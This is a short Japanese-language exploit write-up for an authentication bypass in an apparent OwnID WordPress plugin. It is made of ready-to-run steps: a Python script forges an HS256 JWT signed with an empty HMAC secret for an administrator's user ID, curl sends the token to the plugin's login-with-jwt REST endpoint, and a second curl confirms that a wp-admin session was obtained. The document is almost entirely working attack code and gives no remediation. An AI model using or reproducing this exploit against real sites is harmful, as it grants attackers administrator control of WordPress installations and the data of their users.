エクスプロイト：空の ownid_shared_secret による認証バイパス（JWT偽造）

1) 空のHMACキーを使用して有効なJWTを偽造する

SUB=<ADMIN_USER_ID>

SUB="$SUB" python3 - <<'PY' > /tmp/jwt.txt
import base64, hmac, hashlib, json, time, os

b64u = lambda b: base64.urlsafe_b64encode(b).rstrip(b'=').decode()

header = b64u(json.dumps({"typ":"JWT","alg":"HS256"}, separators=(",",":")).encode())
payload = b64u(json.dumps({
    "sub": int(os.environ["SUB"] or "1"),
    "exp": int(time.time()) + 600
}, separators=(",",":")).encode())

signature = hmac.new(b"", f"{header}.{payload}".encode(), hashlib.sha256).digest()  # EMPTY KEY

print(f"{header}.{payload}.{b64u(signature)}")
PY

JWT=$(cat /tmp/jwt.txt)

---

2) 偽造したJWTをログインエンドポイントに送信する

curl -i -sS \
  -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" \
  -c /tmp/cookies.txt -b /tmp/cookies.txt \
  -X POST "http://localhost/wordpress/wp-json/ownid/v1/login-with-jwt" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  --data-urlencode "jwt=$JWT" \
  -L

---

3) 認証バイパスを検証する

curl -sS \
  -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:118.0) Gecko/20100101 Firefox/118.0" \
  -c /tmp/cookies.txt -b /tmp/cookies.txt \
  "http://localhost/wordpress/wp-admin/" | \
  grep -E -m1 'id="wpadminbar"|wp-admin-bar-my-account' && \
  echo "[+] Auth bypass worked"